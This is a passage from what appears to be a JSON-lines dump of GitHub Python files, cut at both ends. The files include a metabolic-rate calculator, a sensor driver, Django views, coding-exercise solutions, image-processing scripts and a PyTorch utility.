\"Muscle\", 'BMR'] = int(new_record['BMR'] * 1.15)\r\n new_record.loc[new_record['Shape'] == \"Round\", 'BMR'] = int(new_record['BMR'] * 0.85)\r\n new_record.loc[new_record['Shape'] == \"Normal\", 'BMR'] = int(new_record['BMR'])\r\n new_record.loc[new_record['Pal'] == \"Sedentary\", 'DEE'] = int(new_record['BMR'] * 1.55)\r\n new_record.loc[new_record['Pal'] == \"Moderate\", 'DEE'] = int(new_record['BMR'] * 1.85)\r\n new_record.loc[new_record['Pal'] == \"Active\", 'DEE'] = int(new_record['BMR'] * 2.10)\r\n new_record.loc[new_record['Pal'] == \"Professional\", 'DEE'] = int(new_record['BMR'] * 2.50)\r\n\r\n df = pd.concat([df, new_record], ignore_index=True)\r\n df.to_excel(EXCEL_FILE, index=False)\r\n df = pd.read_excel(EXCEL_FILE)\r\n last_value = df['DEE'].iat[-1]\r\n last_value1 = df['BMR'].iat[-1]\r\n sg.popup('Basal Metabolic Rate ' + str(last_value1) + \" Kcal \\n\"\r\n 'Daily Energy Expenditure ' + str(last_value) + \" Kcal\")\r\n\r\nwindow.close()","repo_name":"dima0003/Francescodimartino.github.io","sub_path":"images/bmr_tool.py","file_name":"bmr_tool.py","file_ext":"py","file_size_in_byte":3254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73465665320","text":"from .table_counter import TableCounter\nfrom ..player import BasePlayer\n\nclass LessPlayed(TableCounter):\n ''' Always select the piece less played\n '''\n def __init__(self, name):\n super().__init__(name)\n self.name = f'LessPlayed::{name}'\n\n def filter(self, valids=None):\n valids = BasePlayer.filter(self, valids)\n\n cant = self.count_table()\n best, data = float('inf'), []\n for piece, head in valids:\n value = cant.get(piece[piece[0] == self.heads[head]], 0)\n if value < best:\n best, data = value, []\n if value == best:\n data.append((piece, head))\n return valids\n","repo_name":"Leonardo16AM/Domino-Tournment","sub_path":"src/domino/module/players/strategies/less_played.py","file_name":"less_played.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17241802751","text":"import I2C_module as I2C\nfrom time import sleep\n\n#delay = 0.000010 #10 usec\nrdy_check_delay = 0.025\n\ndef set_io(sda_pin = 3, scl_pin = 5):\n I2C.set_io(sda_pin, scl_pin)\n \ndef init_io():\n I2C.init_io()\n\ndef convert_temp(): #povprecno pretvorba traja 35ms\n \"\"\"Send command to TH02 for convert temprerature\"\"\"\n #zahteva za pretvorbo temperature\n #I2C.start_bit()\n #I2C.write_byte(0x80) #0x40 + write bit\n #I2C.write_byte(0x03) #naslovljen register 0x03\n #I2C.write_byte(0x11) #pisemo 0x11 temp, 0x01 humi\n #I2C.stop_bit()\n I2C.write_message_byte(0x40, 0x03, 0x11)\n \n\ndef convert_humi(): #povprecno pretvorba traja 35ms\n \"\"\"Send command to TH02 for convert humidity\"\"\"\n #zahteva za pretvorbo temperature\n #I2C.start_bit()\n #I2C.write_byte(0x80) #0x40 + write bit\n #I2C.write_byte(0x03) #naslovljen register 0x03\n #I2C.write_byte(0x01) #pisemo 0x11 temp, 0x01 humi\n #I2C.stop_bit()\n I2C.write_message_byte(0x40, 0x03, 0x01)\n\ndef is_rdy(): #je pretvorba, ki povprecno traja 35ms, ze koncana\n \"\"\"Is sensor done with convertation\"\"\"\n I2C.start_bit()\n I2C.write_byte(0x80)\n I2C.write_byte(0x00)\n I2C.start_bit()\n I2C.write_byte(0x81)\n tmp_rdy = I2C.read_byte()\n I2C.nack()\n I2C.stop_bit()\n if not tmp_rdy: #'0' pretvorba koncana, '1' pretvorba v teku\n return True\n else:\n return False\n\ndef _read_temp_humi():\n \"\"\"Read the 0x01 & 0x02 register value\"\"\"\n #branje temperature iz TH02\n I2C.start_bit()\n I2C.write_byte(0x80) #0x40 + write bit\n I2C.write_byte(0x01) #naslovljen register 0x01\n I2C.start_bit() #ponoven start bit, ker bomo brali\n I2C.write_byte(0x81) #0x40 + read bit\n tmp_temp_humi = I2C.read_byte()\n I2C.ack() #prvi Byte potrdimo\n tmp_temp_humi = tmp_temp_humi << 8\n tmp_temp_humi = tmp_temp_humi | I2C.read_byte()\n I2C.nack() #zadnjega Byte-a ne potrdimo\n I2C.stop_bit()\n return tmp_temp_humi\n\ndef calc_temp():\n \"\"\"Calculate temperature from readed data.\"\"\"\n temp = _read_temp_humi()\n temp = temp >> 2\n temp /= 32\n temp -= 50\n return temp\n\ndef calc_humi():\n \"\"\"Calculate humidity from readed data.\"\"\"\n humi = _read_temp_humi()\n humi = humi >> 4\n humi /= 16\n humi -= 24\n return humi\n \ndef get_temp():\n \"\"\"Return temperature or -60 if there is an error\"\"\"\n convert_temp()\n sleep(0.040) #povprecno pretvorba traja 35ms\n for i in range (2): #ce pretvorba se ni koncana, cez 30 ms preverimo se enkrat\n if is_rdy():\n return calc_temp()\n else:\n sleep(0.03)\n return -60 #\"Conversion not possible\"\n \ndef get_humi():\n \"\"\"Return relativ humiditi or -60 if there is an error\"\"\"\n convert_humi()\n sleep(0.040) #povprecno pretvorba traja 35ms\n for i in range (2): #ce pretvorba se ni koncana, cez 30 ms preverimo se enkrat\n if is_rdy():\n return calc_humi()\n else:\n sleep(0.03)\n return -60 #\"Conversion not possible\"\n \ndef main():\n init_io()\n print(get_temp())\n print(get_humi())\n \n \n #print(\"\\\"main\\\" - v st. cel.:\", prebrano_main/32-50)\n\n\n\n\n\n\nif __name__ == \"__main__\":\n try:\n main()\n except:\n print(\"Caught Exception!\")\n raise\n finally:\n pass\n I2C.GPIO.cleanup()\n\n","repo_name":"mrizvic/py-rpi-TH02","sub_path":"TH02_module.py","file_name":"TH02_module.py","file_ext":"py","file_size_in_byte":3331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4536365238","text":"import os\nimport cv2\nimport time\nimport datetime\nimport threading\nimport numpy as np\n\nimport config\nimport camera\nimport backend\nimport scanner\n\nclass COLORS:\n RED = '\\u001b[31;1m'\n GREEN = '\\u001b[32;1m'\n BLUE = '\\u001b[34;1m'\n CYAN = '\\u001b[36;1m'\n WHITE = '\\u001b[37;1m'\n RESET = '\\u001b[0m'\n BOLD = '\\u001b[1m'\n BACKGROUND_CYAN = '\\u001b[46;1m'\n\ndef main():\n print(COLORS.CYAN+ \"=========================================\")\n print(COLORS.CYAN+ \"= \"+COLORS.GREEN+\"Open Security Camera V2.0 \"+COLORS.CYAN+\"=\")\n print(COLORS.CYAN+ \"=========================================\")\n print(COLORS.RESET+\"Loading configuration...\")\n config.init_config()\n print(\"Message Backend selected: \" + config.MessageBackend)\n print(\"Initializing backend...\")\n backend.init_backend()\n print(\"Initializing OpenCV...\")\n camera.init_cv()\n print(\"Starting bluetooth scanner...\")\n scanner.go()\n print(\"Starting main logging loop...\")\n camera.init_cv()\n camera.mainloop()\nmain()\n","repo_name":"Michael0x18/OpenCAM","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"18840225041","text":"#!/usr/bin/env python3\n\n# Python 2/3 compatability\nfrom __future__ import print_function\nfrom __future__ import division\nfrom __future__ import absolute_import\n\nimport sys\nimport argparse\nimport os\nimport os.path\n\nimport itertools as it\n\nfrom os.path import join as pjoin\n\n# Make sure *this* versions oomphpy is in the path (before any other\n# versions in other places)\nsys.path.insert(1, pjoin(os.path.dirname(__file__), \"../../etc\"))\nimport oomphpy\nimport oomphpy.micromagnetics as mm\nimport oomphpy.tests as tests\n\n\ndef main():\n \"\"\"Check that all the preconditioners run without crashing (doesn't check that they work robustly because they don't yet!)\n \"\"\"\n\n # Look for parallel in args\n parser = argparse.ArgumentParser()\n parser.add_argument('--parallel', action = \"store_true\")\n args = parser.parse_args()\n\n llg_precs = [\"exact\", \"block\"]\n llg_sub_precs = [\"exact\", \"block\"]\n\n # With magnetostatics\n argdicts_ms = {\n \"-driver\" : 'llg',\n \"-dt\" : 0.1,\n \"-solver\" : \"gmres\",\n \"-matrix-type\" : \"som\",\n \"-prec\" : \"som-main-block\",\n \"-llg-prec\" : llg_precs,\n \"-llg-sub-prec\" : llg_sub_precs,\n }\n\n # Without magnetostatics\n argdicts = {\n \"-driver\" : 'llg',\n \"-dt\" : 0.1,\n \"-ms-method\" : \"disabled\",\n \"-solver\" : \"gmres\",\n \"-prec\" : \"dummy\",\n \"-llg-prec\" : llg_precs,\n \"-llg-sub-prec\" : llg_sub_precs,\n }\n\n # Slightly redundant to run with multiple llg-sub-prec args even when\n # using exact llg-prec (llg-sub-prec is ignored in this case). But it's\n # so fast that it really doesn't matter.\n\n # Where it's going to end up\n base_outdir = os.path.abspath(pjoin(os.path.dirname(__file__), \"Validation\"))\n\n # Run\n err_codes_ms, _ = mm.run_sweep(argdicts_ms, base_outdir,\n serial_mode=not args.parallel)\n err_codes, _ = mm.run_sweep(argdicts, base_outdir,\n serial_mode=not args.parallel)\n\n # Check things ran ok\n ran = all((e == 0 for e in it.chain(err_codes_ms, err_codes)))\n\n # No analysis of output: not checking that here\n\n if ran:\n return 0\n else:\n return 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","repo_name":"davidshepherd7/oomph-lib-micromagnetics","sub_path":"self_test/preconditioners_can_run/validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":2273,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"8026268939","text":"coin = [1,2,3]\r\n#coin = [2,5,3,6]\r\nN= len(coin)\r\nsum = 5\r\n#sum = 10\r\nt = [[0 for i in range(sum+1)]for j in range(N+1)]\r\nprint(t)\r\nfor i in range(N+1):\r\n t[i][0] = 1\r\n'''\r\nfor j in range(1,sum+1):\r\n t[0][j] = 0\r\nActually this partiular statement is not needed because it is already declared \r\nat the time of initializaing the array line no:6\r\n'''\r\n\r\nprint()\r\nfor i in range(1,N+1):\r\n for j in range(1,sum+1):\r\n if coin[i-1]<=sum:\r\n t[i][j] = t[i][j - coin[i - 1]] + t[i - 1][j]\r\n else:\r\n t[i][j] = t[i - 1][j]\r\n\r\nfor i in range(N+1):\r\n for j in range(sum+1):\r\n print(t[i][j] ,end=' ')\r\n print()\r\nprint(t[N][sum])","repo_name":"eternalbasic1/DSA-Daywise","sub_path":"DSA_DayWise/DynamicProgramming_AV/02_UNBOUNDED_KNAPSACK/Coin_change_Proiblem_maxNoOfWays.py","file_name":"Coin_change_Proiblem_maxNoOfWays.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10570783059","text":"from rest_framework import status\nfrom rest_framework.generics import GenericAPIView\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\n\nfrom apps.course.models import Certificate, UserCourse\nfrom apps.course.utils import generate_certificate\n\nfrom .serializers import CertificateSerializer, GenerateCertificateSerializer\n\n\nclass GenerateCertificateAPIView(GenericAPIView):\n permission_classes = [IsAuthenticated]\n serializer_class = GenerateCertificateSerializer\n\n def post(self, request, *args, **kwargs):\n serializer = self.serializer_class(data=request.data)\n serializer.is_valid(raise_exception=True)\n\n course = serializer.validated_data[\"course\"]\n full_name = serializer.validated_data[\"full_name\"]\n print('kourse', course, full_name)\n if Certificate.objects.filter(course=course, user=request.user).exists():\n data = CertificateSerializer(\n Certificate.objects.get(course=course, user=request.user), context={\"request\": request}\n ).data\n return Response(data=data, status=status.HTTP_200_OK)\n user_course = UserCourse.objects.get(user=request.user, course=course)\n\n if not user_course.is_finished:\n return Response(status=status.HTTP_400_BAD_REQUEST)\n\n certificate = generate_certificate(user_course, full_name)\n return Response(\n data=CertificateSerializer(certificate, context={\"request\": request}).data, status=status.HTTP_201_CREATED\n )\n","repo_name":"fnabiyevuz/uzchess","sub_path":"apps/course/api_endpoints/course/GenerateCertificate/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9819901764","text":"from bs4 import BeautifulSoup\nimport requests,pprint,json,os,random,time\nfrom task4 import scrape_movie_details\nwith open(\"position_wise_movies.json\",\"r+\") as F:\n\tpython_data=json.load(F)\n\nfor i in python_data:\n\tlink=i['url']\n\tname=i['name']\n\tid=link[-10:-1]\n\tvalue=random.randint(1,3)\n\twith open(f\"{id}.json\",\"w+\") as naik:\n\t\twith open(\"movies_with_all_details.json\",'r+') as check:\n\t\t\tmovies_data=json.load(check)\n\t\t\n\t\tfor movie in movies_data:\n\t\t\tif movie['name']==name:\n\t\t\t\tjson_data=json.dump(movie,F)\n\tprint(value)\n\ttime.sleep(value)\n","repo_name":"Tarique-web/IMDB-Scraping","sub_path":"task9.py","file_name":"task9.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20270266794","text":"# Sherlock considers a string to be valid if all characters of the string appear the same number of times. \n# It is also valid if he can remove just 1 character at 1 index in the string, and the remaining characters will \n# occur the same number of times. \n# Given a string s, determine if it is valid. If so, return YES, otherwise return NO.\n\n# Example\n# s='abc'\n# This is a valid string because frequencies are {a:1, b:1, c:1}.\n\n# s = 'abcc'\n# This is a valid string because we can remove one c and have 1 of each character in the remaining string.\n\n# s='abccc'\n# This string is not valid as we can only remove 1 occurrence of c. That leaves character frequencies of {a:1, b:1, c:2} .\n\n# returns YES OR NO\n\n\n#------------ PASSED ALL TEST CASES ------------\ndef isValid(s):\n #if all values not same, check get the highest count and subtract 1\n \n def makeDict(s):\n stringDict = {}\n for letter in s:\n stringDict[letter] = stringDict.get(letter, 0) + 1\n \n return stringDict\n \n def checkValidString(characterCounts):\n # the frequency of the first value in counts should be equal to \n # length of counts if all letters have the same frequencies\n if (characterCounts.count(characterCounts[0]) == len(characterCounts)):\n return True\n return False\n \n # make dict, if all values are same return YES\n stringCount = makeDict(s)\n letterCounts = list(stringCount.values())\n if (checkValidString(letterCounts)):\n return 'YES'\n else:\n maxCount, minCount = max(letterCounts), min(letterCounts)\n maxIndex, minIndex = letterCounts.index(maxCount), letterCounts.index(minCount)\n newLetterCounts = letterCounts.copy()\n newLetterCounts[maxIndex] = maxCount - 1\n letterCounts.pop(minIndex)\n print(maxCount, newLetterCounts)\n if (checkValidString(newLetterCounts) or checkValidString(letterCounts)):\n return 'YES' \n else:\n return 'NO'\n \n \n\n# aabbc - YES","repo_name":"Lormenyo/daily-Dose-of-Code","sub_path":"HackerRank/Strings/SherlockValidString.py","file_name":"SherlockValidString.py","file_ext":"py","file_size_in_byte":2045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74544444841","text":"\"\"\"\n Udacity Self Driving Car Nanodegree\n\n Term 1, Project 5 -- Tests for Object Detection\n\n Author: Ciaran Murphy\n Date: 27th Nov 2017\n\n\"\"\"\nimport pickle\nimport glob\nimport time\nimport cv2\nimport os\nimport matplotlib.pyplot as plt\nfrom matplotlib import gridspec\nfrom argparse import ArgumentParser\n\nfrom scipy.ndimage.measurements import label\n\nfrom obj_detection import *\n\n\ndef parse_args():\n parser = ArgumentParser()\n parser.add_argument('-c', '--classifier', dest='clf', required=True,\n help='The location of the pickled classifier')\n\n args = parser.parse_args()\n return args\n\n\ndef test_predictions():\n \"\"\"Test a sequence of images on `predict()`.\"\"\"\n print()\n print('Testing `predict()`')\n\n car_fnames = glob.glob('./test_images/car_*')\n notcar_fnames = glob.glob('./test_images/notcar_*')\n\n with open(args.clf, 'rb') as f:\n clf = pickle.load(f)\n\n for fname in car_fnames:\n img = imread(fname)\n predict(img, clf, scaler_fname, fname=fname, car=True, vis=True)\n\n for fname in notcar_fnames:\n img = imread(fname)\n predict(img, clf, scaler_fname, fname=fname, car=False, vis=True)\n\n plt.pause(2)\n plt.close()\n\n print()\n\n\ndef test_windowing():\n \"\"\"Test boxes returned from `get_window_points()`. \"\"\"\n fname = 'training_images/my_images/seed_car1.png'\n img = cv2.imread(fname)\n\n print()\n #\n # Far bounding boxes\n #\n window_size = (64, 64)\n overlap = 0.25\n start_pos = (700, 400)\n end_pos = (1200, 685)\n bboxes_far = get_window_points(img.shape, window_size, overlap, start=start_pos, end=end_pos)\n #\n # Middle bounding boxes\n #\n window_size = (128, 128)\n overlap = 0.3\n start_pos = (700, 380)\n end_pos = (1280, 580)\n bboxes_middle = get_window_points(img.shape, window_size, overlap, start=start_pos, end=end_pos)\n #\n # Near bounding boxes\n #\n window_size = (192, 192)\n overlap = 0.5\n start_pos = (700, 375)\n end_pos = (1280, 685)\n bboxes_near = get_window_points(img.shape, window_size, overlap, start=start_pos, end=end_pos)\n #\n\n # Visualize the results\n vis = True\n if vis:\n fname = 'training_images/my_images/seed_car2.png'\n get_clr = lambda: np.random.randint(255, size=3).tolist()\n\n plt.close()\n f, (ax1, ax2, ax3) = plt.subplots(1, 3, figsize=(20, 10))\n\n canvas1 = imread(fname)\n for box in bboxes_far:\n cv2.rectangle(canvas1, box[0], box[1], get_clr(), 2)\n imshow(canvas1, axis=ax1)\n\n canvas2 = imread(fname)\n for box in bboxes_middle:\n cv2.rectangle(canvas2, box[0], box[1], get_clr(), 2)\n imshow(canvas2, axis=ax2)\n\n canvas3 = imread(fname)\n for box in bboxes_near:\n cv2.rectangle(canvas3, box[0], box[1], get_clr(), 2)\n imshow(canvas3, axis=ax3)\n\n plt.tight_layout()\n plt.show(block=True)\n\n plt.pause(2)\n plt.close()\n\n print()\n\n\ndef test_sliding_window_predictions(fname=None, vis=True):\n \"\"\"Test that a sliding window slides as expected and detects cars\"\"\"\n #\n # Run a scan over an image and retain any boxes where a car is detected\n #\n global clf, scaler_fname\n\n if fname is None:\n #img = imread('./test_images/bbox-example-image.jpg')\n #img = imread('./test_frames/frame_040.png')\n #img = imread('./test_frames/vlcsnap-2017-12-07-17h34m52s922.png')\n pass\n else:\n img = imread(fname)\n print('Loaded {} with shape {}'.format(fname, img.shape))\n\n get_clr = lambda: np.random.randint(255, size=3).tolist()\n\n car_boxes, all_boxes = [], []\n\n plt.close()\n plt.ion()\n f, (ax1, ax2) = plt.subplots(1, 2, figsize=(20, 10))\n\n # Short helper to avoid repeating code\n def check_boxes(prefix):\n for box in bboxes:\n all_boxes.append(box)\n top_left, bottom_right = box\n sub_img = img[ top_left[1]: bottom_right[1], top_left[0]: bottom_right[0], :]\n\n prediction = predict(\n sub_img, clf, scaler_fname, \n fname=fname, vis=False, verbose=True\n )\n\n plt.sca(ax1)\n plt.cla()\n plt.sca(ax2)\n plt.cla()\n img_ = img.copy()\n cv2.rectangle(img_, *box, get_clr(), 2)\n ax1.imshow(img_[:,:,::-1]/255)\n ax2.imshow(sub_img[:,:,::-1]/255)\n plt.tight_layout()\n plt.show()\n plt.pause(0.0001)\n \n if prediction == 1:\n car_boxes.append(box)\n \n #\n # Run far bounding boxes\n #\n window_size = (64, 64)\n overlap = 0.25\n start_pos = (700, 400)\n end_pos = (img.shape[1], 465)\n bboxes = get_window_points(img.shape, window_size, overlap, start=start_pos, end=end_pos)\n check_boxes('far_')\n \n #\n # Run middle bounding boxes\n #\n window_size = (96, 96)\n overlap = 0.25\n start_pos = (700, 380)\n end_pos = (img.shape[1], 477)\n bboxes = get_window_points(img.shape, window_size, overlap, start=start_pos, end=end_pos)\n check_boxes('mid_')\n\n #\n # Run near bounding boxes\n #\n window_size = (128, 128)\n overlap = 0.25\n start_pos = (700, 335)\n end_pos = (img.shape[1], 535)\n bboxes = get_window_points(img.shape, window_size, overlap, start=start_pos, end=end_pos)\n check_boxes('near_')\n\n # If True, show realtime visualizations\n if vis:\n display_img = img.copy() # Use this one for showing results\n plt.ion() # Enable interactive mode\n fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(30, 10)) \n\n # Setup a CPU timer to find out how much time this all takes\n start = time.clock()\n\n # Load the classifier\n clf = get_svm_model(model_file=args.clf)\n\n\n cnt = 0\n if vis:\n for box in all_boxes:\n cv2.rectangle(display_img_, *box, get_clr(), 1)\n\n for box in car_boxes:\n display_img_ = display_img.copy()\n cv2.rectangle(display_img_, *box, get_clr(), 3)\n\n # If a car was predicted, keep the box painted\n if prediction == 1:\n display_img = display_img_\n \n plt.sca(ax1)\n plt.cla()\n plt.sca(ax2)\n plt.cla()\n\n imshow(display_img_, axis=ax1)\n imshow(sub_img, axis=ax2)\n\n # Uncomment below to save frames while running\n #new_fname = './training_images/my_images/notcar/{}_{:03}_2.png'.format(\n # os.path.basename(fname).split('.')[0], cnt)\n #imsave(new_fname, sub_img)\n\n plt.tight_layout()\n plt.show()\n plt.pause(0.0001)\n\n cnt += 1\n\n end = time.clock()\n duration = end - start\n\n if vis:\n plt.sca(ax1)\n plt.cla()\n ax1.imshow(display_img[:,:,::-1]/255)\n plt.show()\n plt.pause(1)\n plt.close()\n\n print('Prcessing one image took {:.3}s in CPU time.'.format(duration))\n return car_boxes\n\n\ndef test_heatmap(fname, car_boxes):\n \"\"\"Test the heatmap operation\"\"\"\n img = imread(fname)\n heatmap = np.zeros_like(img[:,:,0]).astype(np.float)\n\n for box in car_boxes:\n heatmap[box[0][1]:box[1][1], box[0][0]:box[1][0]] += 25\n\n threshold = 50\n heatmap[heatmap <= threshold] = 0\n\n labels = label(heatmap)\n draw_labeled_bboxes(img, labels)\n\n f, (ax1, ax2, ax3) = plt.subplots(1, 3, figsize=(20, 10))\n ax1.imshow( img[:,:,::-1]*255 )\n ax2.imshow(heatmap)\n ax3.imshow(labels[0])\n\n plt.tight_layout()\n plt.show(block=True)\n\n\ndef main():\n global args, clf, scaler_fname\n\n #args = parse_args()\n #clf = pickle.load(open(args.clf, 'rb'))\n #scaler_fname = ''.join(args.clf.split('.')[:-1]) + '_scaler.pkl'\n\n ##test_predictions()\n \n test_windowing()\n #test_sliding_window_predictions()\n\n #for fname in glob.glob('./test_frames/*.png') + glob.glob('./test_frames/*.jpg'):\n #for fname in ['./training_images/my_images/seed2.png']:\n # print(fname)\n # car_boxes = test_sliding_window_predictions(fname)\n\n #for fname in glob.glob('./test_frames/*')[:10]:\n # car_boxes = test_sliding_window_predictions(fname, vis=False)\n # test_heatmap(fname, car_boxes)\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"flaschmurphy/sdc_term_1_proj_5","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":8350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74602573799","text":"class Solution:\n def minMutation(self, start: str, end: str, bank: List[str]) -> int:\n from queue import Queue\n bank = set(bank)\n queue = Queue()\n \n queue.put((start, 0))\n seen = {start}\n \n while queue.qsize() > 0:\n node, steps = queue.get()\n \n if node == end:\n return steps\n \n for char in \"ACGT\":\n for i in range(len(node)):\n neighbour = node[:i] + char + node[i+1:]\n if neighbour not in seen and neighbour in bank:\n queue.put((neighbour, steps + 1))\n seen.add(neighbour)\n return -1\n ","repo_name":"Ayomipo18/Data-Structures-and-Algorithms-LeetCode","sub_path":"0433-minimum-genetic-mutation/0433-minimum-genetic-mutation.py","file_name":"0433-minimum-genetic-mutation.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"24008002960","text":"from matplotlib import pyplot as plt\nimport seaborn as sns\n\ndef plot_reg(x, y):\n ax = plt.gca()\n r, p = scipy.stats.pearsonr(x, y)\n sns.regplot(x, y) \n ax.text(.6, .9, 'r={:.2f}, p={:.2g}'.format(r, p),\n transform=ax.transAxes)\n \n","repo_name":"jasongong11/media_multitasking_exploration_exploitation","sub_path":"utils/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"37423764545","text":"from django.urls import path\n\nfrom . import views\n\napp_name = \"quoteapp\"\n\nurlpatterns = [\n path(\"\", views.main, name=\"main\"),\n path(\"\", views.main, name=\"main\"),\n path(\"author/\", views.get_info_author, name=\"get_info_author\"),\n path(\"tag//\", views.look_for_tag, name=\"look_for_tag\"),\n path(\"tag/\", views.look_for_tag, name=\"look_for_tag\"),\n path(\"add_tag/\", views.add_tag, name=\"add_tag\"),\n path(\"add_author/\", views.add_author, name=\"add_author\"),\n path(\"add_quote/\", views.add_quote, name=\"add_quote\"),\n path(\"search_data/\", views.search_data, name=\"search_data\"),\n path(\"search_data//\", views.search_data, name=\"search_data\"),\n]\n","repo_name":"AleksandrRevuka/quotes","sub_path":"quoteapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5716960506","text":"from osu_patient_info_xls import xls2dic\nfrom glob import glob\nimport os\nfrom multiprocessing import Pool\nfrom itertools import repeat\nfrom PIL import Image\n\ndef task_tma2patch(src_dir, cklst, params):\n im_ext = params['im_ext']\n cpu_cores = params['cpu_cores']\n params['cklst'] = cklst\n\n im_paths = glob(f'{src_dir}/*.{im_ext}')\n\n p = Pool(cpu_cores//2)\n p.starmap(one_tma2patch, zip(im_paths, repeat(params)))\n\ndef one_tma2patch(im_path, params):\n im_ext = params['im_ext']\n mask_ext = params['mask_ext']\n cklst = params['cklst']\n tar_dir = params['tar_dir']\n src_mag = params['src_mag']\n tar_mag = params['tar_mag']\n patch_size = params['patch_size']\n\n name = im_path.split('/')[-1].replace(f'.{im_ext}', '')\n mask_path = im_path.replace(f'.{im_ext}', f'.{mask_ext}')\n if os.path.exists(mask_path) == False:\n mask_path = im_path.replace(f'.{im_ext}', f'_mask.{mask_ext}')\n label = 'tumor'\n if cklst!=None:\n key = name.replace('oral_cavit', '')\n key = key.replace('_', '-')\n label = 'nontumor' if cklst[key][1]=='N' else label\n output_dir = f'{tar_dir}/{tar_mag}x{patch_size}/{label}/{name}'\n os.makedirs(output_dir, exist_ok=True)\n\n im = Image.open(im_path)\n scale = src_mag//tar_mag\n w,h = im.size\n im = im.resize((w//scale, h//scale), Image.BICUBIC)\n w,h = im.size\n mask = Image.open(mask_path)\n mask = mask.resize((w,h), Image.NEAREST)\n\n psize = patch_size\n for j in range(0,h,patch_size):\n for i in range(0, w, patch_size):\n patch = im.crop((i,j,i+psize,j+psize))\n pmask = mask.crop((i,j,i+psize,j+psize))\n patch.save(f'{output_dir}/{name}_{i}_{j}.png')\n pmask.save(f'{output_dir}/{name}_{i}_{j}_mask.png')\n\n\n\n\n\n\n\nif __name__ == '__main__':\n xls_path = '/mnt/md0/_datasets/OralCavity/TMA_arranged/OSU/OSU_Oral_Cavity_TMA_Maps.xlsx'\n id2P = xls2dic(xls_path) #{im_id: [patient_id,(non)tumor]}\n\n wu_dir = '/mnt/md0/_datasets/OralCavity/TMA_arranged/WU/masked' \n osu_dir = '/mnt/md0/_datasets/OralCavity/TMA_arranged/OSU/masked' \n tar_dir = '/mnt/md0/_datasets/OralCavity/tma'\n\n params=dict(\n tar_dir=tar_dir,\n src_mag=40,\n mask_ext = 'png',\n cpu_cores = 40,\n )\n\n\n for tar_mag in [20,10,5]:\n for patch_size in [1024,768,512,256,128,64]:\n params['tar_mag'] = tar_mag\n params['patch_size'] = patch_size\n params['im_ext'] = 'jpg'\n task_tma2patch(osu_dir, id2P, params)\n params['im_ext'] = 'tif'\n task_tma2patch(wu_dir, None, params)\n\n \n","repo_name":"wuusn/oral_epi_segmentation","sub_path":"utils/tma2patch.py","file_name":"tma2patch.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42572083013","text":"#!/usr/bin/python\nfrom sys import argv\nfin=argv[1]\n\n#version 2 solve\n#f_part=fin.split('.')\n#fout=f_part[0]+\".oled\"\nfout=argv[2]\n\n\n\nth=int(argv[3])\n\n####################################################################\nfrom struct import pack\ndef image_converter(image,th=140):\n (X,Y)=image.size\n x=0\n mask=0\n pos=0\n l=X*Y\n dat=b''\n buf=[0 for z in range(X)]\n while pos!=l:\n v=(image[pos][0]+image[pos][1]+image[pos][2])/3\n sig=(0,1)[v>th]\n buf[x]|=sig<>> t = torch.as_tensor([1,2,3])\n >>> t.dtype\n torch.int64\n >>> t = apply_to(t, float)\n >>> t.dtype\n torch.float64\n >>> ts = [torch.as_tensor([1,2,3]), torch.as_tensor([4,5,6])]\n >>> ts = apply_to(ts, float)\n >>> [t.dtype for t in ts]\n [torch.float64, torch.float64]\n >>> ts = {'a': torch.as_tensor([1]), 'b': [torch.as_tensor([2]), {'c': torch.as_tensor([3])}]}\n >>> ts = apply_to(ts, float)\n >>> [ts['a'].dtype, ts['b'][0].dtype, ts['b'][1]['c'].dtype]\n [torch.float64, torch.float64, torch.float64]\n\n \"\"\"\n if hasattr(obj, \"to\"):\n return obj.to(sth)\n elif isinstance(obj, (List, Tuple)):\n return type(obj)(apply_to(o, sth) for o in obj)\n elif isinstance(obj, Mapping):\n new_obj = [(k, apply_to(v, sth)) for k, v in obj.items()]\n return type(obj)(new_obj) # noqa\n else:\n raise TypeError(\n f\"Can't apply {apply_to.__name__} on object of type {type(obj)}, \"\n f\"only of nested list/tuple/dicts of objects \"\n )\n\n\ndef cosine_similarity_dense(x1, x2):\n \"\"\" cosine 距离(全连接)\n 即 x1 中每个向量与 x2 中每个向量计算 cosine 距离,相当于计算一个 attention 矩阵\n\n 等价于 `F.cosine_similarity(x1.unsqueeze(1), x1.unsqueeze(0), dim=-1)`\n Args:\n 